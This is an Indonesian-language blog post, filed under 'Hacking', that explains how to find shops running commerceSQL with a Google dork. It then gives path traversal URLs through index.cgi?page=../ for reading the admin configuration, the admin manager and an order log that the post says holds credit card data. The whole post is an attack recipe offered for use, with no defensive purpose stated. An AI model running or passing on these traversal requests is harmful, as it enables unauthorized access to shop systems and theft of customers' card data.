bugs pada bentuk toko sistem : commerceSQL

Contoh bugs pada bentuk toko sistem :

commerceSQL

Ketik keyword google.com :

allinurl:/commercesql/

Contoh : http://www.Target.com/commercesql/xxxxx

Hapus commercesql/xxxxx dan ganti

dengan: cgi-bin/commercesql/index.cgi?page=

Hasilnya:

http://www.Target.com/cgi-bin/commercesq....cgi?page=

Untuk melihat adminconfig

http://www.Target.com/cgi-bin/commercesql/index.cgi?pa ge=../admin/admin_conf.pl

Untuk melihat adminmanager

http://www.Target.com/cgi-bin/commercesql/index.cgi?p age=../admin/manager.cgi

Untuk melihat filelog/CCnya

http://www.Target.com/cgi-bin/commercesql/index.cgi ?page=../admin/files/order.log

Posted in: Hacking